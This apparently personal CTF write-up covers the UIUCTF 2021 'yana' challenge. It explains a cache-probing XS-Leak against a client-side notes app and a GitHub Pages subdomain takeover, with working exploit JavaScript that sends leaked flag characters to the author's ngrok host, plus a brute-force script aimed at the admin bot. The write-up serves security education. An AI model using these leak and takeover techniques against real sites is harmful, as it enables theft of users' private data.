👨‍💻
CTFs
HomePlaygroundOSCPBuy Me a Flag 🚩
  • 🚩Zeyu's CTF Writeups
  • Home
  • Playground
  • OSCP
  • My Challenges
    • SEETF 2023
    • The InfoSecurity Challenge 2022
    • SEETF 2022
    • Cyber League Major 1
    • STANDCON CTF 2021
      • Space Station
      • Star Cereal
      • Star Cereal 2
      • Mission Control
      • Rocket Science
      • Space University of Interior Design
      • Rocket Ship Academy
      • Space Noise
  • 2023
    • DEF CON CTF 2023 Qualifiers
    • hxp CTF
      • true_web_assembly
    • HackTM CTF Qualifiers
      • Crocodilu
      • secrets
      • Hades
  • 2022
    • niteCTF 2022
      • Undocumented js-api
      • js-api
    • STACK the Flags 2022
      • Secret of Meow Olympurr
      • The Blacksmith
      • GutHib Actions
      • Electrogrid
      • BeautyCare
    • LakeCTF Qualifiers
      • People
      • Clob-Mate
      • So What? Revenge
    • The InfoSecurity Challenge 2022
      • Level 1 - Slay The Dragon
      • Level 2 - Leaky Matrices
      • Level 3 - PATIENT0
      • Level 4B - CloudyNekos
      • Level 5B - PALINDROME's Secret (Author Writeup)
    • BalsnCTF 2022
      • 2linenodejs
      • Health Check
    • BSidesTLV 2022 CTF
      • Smuggler
      • Wild DevTools
      • Tropical API
    • Grey Cat The Flag 2022
    • DEF CON CTF 2022 Qualifiers
    • Securinets CTF Finals 2022
      • StrUggLe
      • XwaSS ftw?
      • Strong
      • Artist
    • NahamCon CTF 2022
      • Flaskmetal Alchemist
      • Hacker TS
      • Two For One
      • Deafcon
      • OTP Vault
      • Click Me
      • Geezip
      • Ostrich
      • No Space Between Us
    • Securinets CTF Quals 2022
      • Document-Converter
      • PlanetSheet
      • NarutoKeeper
    • CTF.SG CTF
      • Asuna Waffles
      • Senpai
      • We know this all too well
      • Don't Touch My Flag
      • Wildest Dreams Part 2
      • Chopsticks
    • YaCTF 2022
      • Shiba
      • Flag Market
      • Pasteless
      • Secretive
      • MetaPDF
      • Crackme
    • DiceCTF 2022
      • knock-knock
      • blazingfast
    • TetCTF 2022
      • 2X-Service
      • Animals
      • Ezflag Level 1
  • 2021
    • hxp CTF 2021
    • HTX Investigator's Challenge 2021
    • Metasploit Community CTF
    • MetaCTF CyberGames
      • Look, if you had one shot
      • Custom Blog
      • Yummy Vegetables
      • Ransomware Patch
      • I Hate Python
      • Interception
    • CyberSecurityRumble CTF
      • Lukas App
      • Finance Calculat0r 2021
      • Personal Encryptor with Nonbreakable Inforation-theoretic Security
      • Enterprice File Sharing
      • Payback
      • Stonks Street Journal
    • The InfoSecurity Challenge (TISC) 2021
      • Level 4 - The Magician's Den
      • Level 3 - Needle in a Greystack
      • Level 2 - Dee Na Saw as a need
      • Level 1 - Scratching the Surface
    • SPbCTF's Student CTF Quals
      • 31 Line PHP
      • BLT
      • CatStep
    • Asian Cyber Security Challenge (ACSC) 2021
      • Cowsay As A Service
      • Favorite Emojis
      • Baby Developer
      • API
      • RSA Stream
      • Filtered
      • NYONG Coin
    • CSAW CTF Qualification Round 2021
      • Save the Tristate
      • securinotes
      • no pass needed
      • Gatekeeping
      • Ninja
    • YauzaCTF 2021
      • Yauzacraft Pt. 2
      • Yauzabomber
      • RISC 8bit CPU
      • ARC6969 Pt. 1
      • ARC6969 Pt. 2
      • Back in 1986 - User
      • Lorem-Ipsum
    • InCTF 2021
      • Notepad 1 - Snakehole's Secret
      • RaaS
      • MD Notes
      • Shell Boi
      • Listen
      • Ermittlung
      • Alpha Pie
    • UIUCTF 2021
      • pwnies_please
      • yana
      • ponydb
      • SUPER
      • Q-Rious Transmissions
      • capture the :flag:
      • back_to_basics
      • buy_buy_buy
    • Google CTF 2021
      • CPP
      • Filestore
    • TyphoonCon CTF 2021
      • Clubmouse
      • Impasse
    • DSTA BrainHack CDDC21
      • File It Away (Pwn)
      • Linux Rules the World! (Linux)
      • Going Active (Reconnaissance)
      • Behind the Mask (Windows)
      • Web Takedown Episode 2 (Web)
      • Break it Down (Crypto)
    • BCACTF 2.0
      • L10N Poll
      • Challenge Checker
      • Discrete Mathematics
      • Advanced Math Analysis
      • Math Analysis
      • American Literature
      • More Than Meets the Eye
      • 􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉
    • Zh3ro CTF V2
      • Chaos
      • Twist and Shout
      • 1n_jection
      • alice_bob_dave
      • Baby SSRF
      • bxxs
      • Sparta
    • Pwn2Win CTF 2021
      • C'mon See My Vulns
      • Illusion
    • NorzhCTF 2021
      • Leet Computer
      • Secure Auth v0
      • Triskel 3: Dead End
      • Triskel 2: Going In
      • Triskel 1: First Contact
      • Discovery
    • DawgCTF 2021
      • Bofit
      • Jellyspotters
      • No Step On Snek
      • Back to the Lab 2
      • MDL Considered Harmful
      • Really Secure Algorithm
      • The Obligatory RSA Challenge
      • Trash Chain
      • What the Flip?!
      • Back to the Lab 1
      • Back to the Lab 3
      • Dr. Hrabowski's Great Adventure
      • Just a Comment
      • Baby's First Modulation
      • Two Truths and a Fib
    • UMDCTF 2021
      • Advantageous Adventures
      • Roy's Randomness
      • Whose Base Is It Anyway
      • Cards Galore
      • Pretty Dumb File
      • Minetest
      • Donnie Docker
      • Subway
      • Jump Not Easy
      • To Be XOR Not To Be
      • Office Secrets
      • L33t M4th
      • Bomb 2 - Mix Up
      • Jay
    • Midnight Sun CTF 2021
      • Corporate MFA
      • Gurkburk
      • Backups
    • picoCTF 2021
      • It Is My Birthday (100)
      • Super Serial (130)
      • Most Cookies (150)
      • Startup Company (180)
      • X marks the spot (250)
      • Web Gauntlet (170 + 300)
      • Easy Peasy (40)
      • Mini RSA (70)
      • Dachshund Attacks (80)
      • No Padding, No Problem (90)
      • Trivial Flag Transfer Protocol (90)
      • Wireshark twoo twooo two twoo... (100)
      • Disk, Disk, Sleuth! (110 + 130)
      • Stonks (20)
    • DSO-NUS CTF 2021
      • Insecure (100)
      • Easy SQL (200)
Powered by GitBook
On this page
  • Description
  • Preface
  • Solution
  • Source Code Analysis
  • Cache Probing
  • Setting Up The Attack
  • This Shouldn't Have Worked.
  • The Intended Solution
  • Subdomain Takeover

Was this helpful?

  1. 2021
  2. UIUCTF 2021

yana

GitHub Pages subdomain takeover and cache probing XS-Leak

Previouspwnies_pleaseNextponydb

Last updated 3 years ago

Was this helpful?

Description

I made a note taking website. Can you get the admin's note?

https://chal.yana.wtf

admin bot nc yana-bot.chal.uiuc.tf 1337

author: arxenix

Preface

This challenge was really great, even though there was an unintended solution. It took me on quite the journey, learning about cache probing attacks and subdomain takeovers.

The unintended solution stems from how Chrome handles cache partitioning. While Chrome version 85 onwards supports cache partitioning, effectively isolating caches by the requesting origin, running Chrome in headless mode does not achieve the same effect.

While not required to solve the challenge, figuring out the intended solution - a GitHub Pages subdomain takeover - was definitely an awesome experience.

Solution

This is a notepad app that functions entirely on the client-side. We can therefore analyze the JavaScript source code to look for vulnerabilities.

Source Code Analysis

The app uses the browser's local storage to store the user's notes.

const noteForm = document.getElementById("note");
noteForm.onsubmit = (e) => {
  e.preventDefault();
  window.localStorage.setItem("note", new FormData(noteForm).get("note"));
};

We can see this in action using Chrome DevTools.

const searchForm = document.getElementById("search");
const output = document.getElementById("output");
searchForm.onsubmit = (e) => {
  e.preventDefault();
  const query = new FormData(searchForm).get("search") ?? "";
  document.location.hash = query;
  search();
};

The search is implemented through the search function. The search function grabs the URL's fragment identifier, and checks if it is a substring of the note stored in the browser's local storage.

function search() {
  const note = window.localStorage.getItem("note") ?? "";
  console.log(`note: ${note}`);
  const query = document.location.hash.substring(1);
  console.log(`query: ${query}`);
  if (query) {
    if (note.includes(query)) {
      console.log('found');
      output.innerHTML =
        'found! <br/><img src="https://sigpwny.com/uiuctf/y.png"></img>';
    } else {
      console.log('not found');
      output.innerHTML =
        'nope.. <br/><img src="https://sigpwny.com/uiuctf/n.png"></img>';
    }
  }
}

If the query is a valid substring, then the green https://sigpwny.com/uiuctf/y.png image is loaded and placed in the output div.

If the query is not found, the red https://sigpwny.com/uiuctf/n.png is loaded instead.

We are also provided with the bot.js script, which is the "admin" bot that visits any URL we give it. Notice that the flag is first saved as a note on the challenge server before our chosen URL is visited.

async function load_url(socket, data) {
  let url = data.toString().trim();
  console.log(`checking url: ${url}`);
  if (!url.startsWith('http://') && !url.startsWith('https://')) {
    socket.state = 'ERROR';
    socket.write('Invalid scheme (http/https only).\n');
    socket.destroy();
    return;
  }
  socket.state = 'LOADED';

  // "incognito" by default
  const context = await browser.newContext();
  const page = await context.newPage();
  await page.goto("https://chal.yana.wtf");
  await page.fill('#note > textarea', FLAG);
  await page.click('#note > button');
  await page.waitForTimeout(500);
  await page.goto('about:blank');
  await page.waitForTimeout(500);
  socket.write(`Loading page ${url}.\n`);
  await page.goto(url);
  setTimeout(() => {
    try {
      page.close();
      socket.write('timeout\n');
      socket.destroy();
    } catch (err) {
      console.log(`err: ${err}`);
    }
  }, 60000);
}

Cache Probing

Now, we know that:

  • We are able to force the admin to visit the challenge server with any arbitrary fragment identifier, either directly (through submitting the challenge server URL to the bot) or indirectly (through JavaScript or iframes on our hosted site).

  • This will allow us to make the admin's browser perform the search function, checking whether the provided fragment identifier is a substring of the flag.

At this point, I knew that it must have had something to do with brute-forcing the flag. However, since the search is performed on the client-side, we couldn't simply do a CSRF to get the search output.

Remember how y.png and n.png images are loaded based on the search output?

if (note.includes(query)) {
  console.log('found');
  output.innerHTML =
    'found! <br/><img src="https://sigpwny.com/uiuctf/y.png"></img>';
} else {
  console.log('not found');
  output.innerHTML =
    'nope.. <br/><img src="https://sigpwny.com/uiuctf/n.png"></img>';
}
  1. The victim visits the attacker-controlled site. The attacker-controlled site loads an iframe of the notes site, with a search query. If the search query is a substring of the flag, then the https://sigpwny.com/uiuctf/y.png image is fetched and cached.

  2. The attacker-controlled site fetches the https://sigpwny.com/uiuctf/y.png image.

  3. By calculating the time taken to fetch the image, the attacker-controlled site can determine whether the image was cached (the time taken would be significantly lower).

This would allow us to brute-force the flag character by character.

Setting Up The Attack

To implement the cache probing attack, we need to come up with a JavaScript payload that would be run on the victim's browser to determine whether the image was cached.

We define an onFrameLoad() function that will be called when the iframe of the notes site, containing the search query, is loaded.

function onFrameLoad()
{
    setTimeout(() => {
        var xhr = new XMLHttpRequest();

        function exfil(cached, duration) {
        
            if (cached)
            {
                img = new Image();
                img.src = "http://964fb36503ae.ngrok.io/?cached=" + document.getElementById('iframe').src.split('#')[1];
            }
        }
        
        function check_cached(xhr, src) {
        
            var startTime = performance.now();
            
            xhr.open("GET", src);
            xhr.onreadystatechange = function () {
        
                if (xhr.readyState === 4) {
        
                    // check if image was cached based on response time
                    // if image was loaded in iframe, it would be cached
                    
                    var endTime = performance.now();
                    duration = endTime - startTime;
                    console.log(duration);
        
                    if (duration < 10)
                    {
                        exfil(true, duration);
                    }
                    else
                    {
                        exfil(false, duration);
                    }
                }
            };
        
            xhr.send();
        }
        
        check_cached(xhr, "https://sigpwny.com/uiuctf/y.png");
    }, 500);
}

We then prepare a template.html with a placeholder for the search query.

<script src="exploit.js"></script>
<iframe src="https://chal.yana.wtf/#{}" id="iframe" onload="onFrameLoad(this)"></iframe>

Then, an exploit.py script can automate the bruteforce attack.

from pwn import *
import string

URL = 'http://964fb36503ae.ngrok.io/exploit.html'
FLAG = 'uiuctf{'

for char in string.ascii_lowercase + string.digits + '{}_':
    print(char)
    with open('template.html', 'r') as infile, open('exploit.html', 'w') as outfile:
        outfile.write(infile.read().format(FLAG + char))
    
    conn = remote('yana-bot.chal.uiuc.tf', 1337)
    conn.recv()
    conn.send(URL + '\r\n')

We will have to run this script for each new character, adding the previously found ones to the FLAG variable. (Perhaps I should have wrote a cleaner solution?)

This Shouldn't Have Worked.

In brief, a new "Network Isolation Key" was added, which contains both the top-level site and the current-frame site. This allows the iframe's cache to be seperate from the top-level site's cache. The following example illustrates our attack scenario.

The initial fetching of the image through the notes application iframe should have resulted in a cache key of (attacker-site, notes-app-site, image-url)

The second time the image is fetched through the attacker-controlled site, the cache key would not contain the notes application site, and would instead be (attacker-site, attacker-site,image-url).

This should not result in a cache hit, since the two cache keys are different. But it did. After some local testing, I found that headless chrome simply doesn't perform cache partitioning.

I ran the admin bot in headless mode (the default) as follows:

const browser = await chromium.launch({
  executablePath: "PATH-TO-CHROMIUM",
  logger: {
    isEnabled: () => true,
    log: (name, severity, message, _args) => console.log(`chrome log: [${name}/${severity}] ${message}`)
  },
});

The attack worked. Cache partitioning was not enabled.

But running the bot with headless mode disabled, the attack did not work.

const browser = await chromium.launch({
  executablePath: "PATH-TO-CHROMIUM",
  logger: {
    isEnabled: () => true,
    log: (name, severity, message, _args) => console.log(`chrome log: [${name}/${severity}] ${message}`)
  },
  headless: false,
});

This was the expected result, since cache partitioning should be enabled by default.

We can verify that both times, y.png was downloaded from the network, not fetched from the cache!

The Intended Solution

Assuming that cache partitioning worked, how could we bypass it?

An important implementation detail is that subdomains and port numbers are actually ignored when creating the cache key.

So when the image is requested by https://chal.yana.wtf/, only https://yana.wtf/ is actually saved in the cache key. This means that if we are able to control any *.yana.wtf subdomains, we would be able to bypass the cache partitioning since both requests would be originating from the same domain.

Subdomain Takeover

$ host chal.yana.wtf
chal.yana.wtf has address 185.199.108.153

$ whois 185.199.108.153

...

organisation:   ORG-GI58-RIPE
org-name:       GitHub, Inc.
country:        US
org-type:       LIR
address:        88 Colin P. Kelly Jr. Street
address:        94107
address:        San Francisco
address:        UNITED STATES
phone:          +1 415 735 4488
admin-c:        GA9828-RIPE
tech-c:         NO1444-RIPE
abuse-c:        AR39914-RIPE
mnt-ref:        us-github-1-mnt
mnt-by:         RIPE-NCC-HM-MNT
mnt-by:         us-github-1-mnt
created:        2017-04-11T08:28:46Z
last-modified:  2020-12-16T13:16:10Z
source:         RIPE # Filtered

...

I did not know this, but GitHub does not require you to prove that you actually own the domain before allowing you to setup a custom domain for your GitHub Pages site.

This opens up several possibilities for subdomain takeovers. As warned by the official documentation, a wildcard DNS record that points any subdomain to GitHub is especially dangerous.

A subdomain takeover can occur when there is a dangling DNS entry. Let me explain.

Using the dig command, we can find the DNS records configured for chal.yana.wtf.

$ dig chal.yana.wtf +nostats +nocomments +nocmd

; <<>> DiG 9.10.6 <<>> chal.yana.wtf +nostats +nocomments +nocmd
;; global options: +cmd
;chal.yana.wtf.			IN	A
chal.yana.wtf.		240	IN	A	185.199.108.153

An A record maps the domain to the GitHub pages server.

But if we poke around a little more, we find that the DNS configuration indeed seems to use a wildcard A record for *.yana.wtf. For instance, a.yana.wtf and b.yana.wtf do not have any GitHub page associated with them, yet point to the GitHub pages server.

$ dig a.yana.wtf +nostats +nocomments +nocmd

; <<>> DiG 9.10.6 <<>> a.yana.wtf +nostats +nocomments +nocmd
;; global options: +cmd
;a.yana.wtf.			IN	A
a.yana.wtf.		300	IN	A	185.199.108.153

$ dig b.yana.wtf +nostats +nocomments +nocmd

; <<>> DiG 9.10.6 <<>> b.yana.wtf +nostats +nocomments +nocmd
;; global options: +cmd
;b.yana.wtf.			IN	A
b.yana.wtf.		300	IN	A	185.199.108.153

Going to http://a.yana.wtf, therefore, will still forward the request to GitHub. GitHub looks for GitHub repositories with the appropriate CNAME file. Since no repository is configured to serve a.yana.wtf, a 404 page is shown.

This is a dangling DNS record, since anyone with a GitHub account can add the CNAME file containing a.yana.wtf to their repository, thereby taking over the a.yana.wtf domain.

With the exploit scripts we created earlier, we can create our own GitHub Pages site.

We configure the custom domain to abc.yana.wtf, which creates the following CNAME file in our repository.

Now, if we go to http://abc.yana.wtf, we will find that our exploit is being served!

Now, things are a little different. Because both the iframe and the top-level site are in the same yana.wtf domain, Chrome does not partition the cache. Notice that the first request, initiated by the iframe, fetched y.png from the network, while the second request, initiated by our exploit script, fetched y.png from the browser's cache.

This obviously causes a significant difference in the time taken to fetch the resources, allowing us to carry out the cache probing attack even when Chrome's cache partitioning policy is in effect.

As a sanity check, I ran the bot again locally without headless mode, this time providing it the https://abc.yana.wtf/exploit.html URL.

I confirmed that the exploit worked. Our exploit script determined that y.png was cached, and made a callback to our ngrok server with the successful query.

There is also a search feature that "searches" for notes. Interestingly, the search query gets placed into the URL's through document.location.hash.

Perhaps we can perform a attack to determine whether the search was successful. The principle is as follows:

Here's why. I was hosting the exploit on an ngrok domain, but as of Chrome version 85, cache partitioning was implemented to defend against cache probing attacks. This by Google in October 2020 explains how the new cache partitioning system works.

From the whois records, we could tell that this was a site.

fragment identifier
cache probing
update
GitHub Pages
2KB
bot.js
bot.js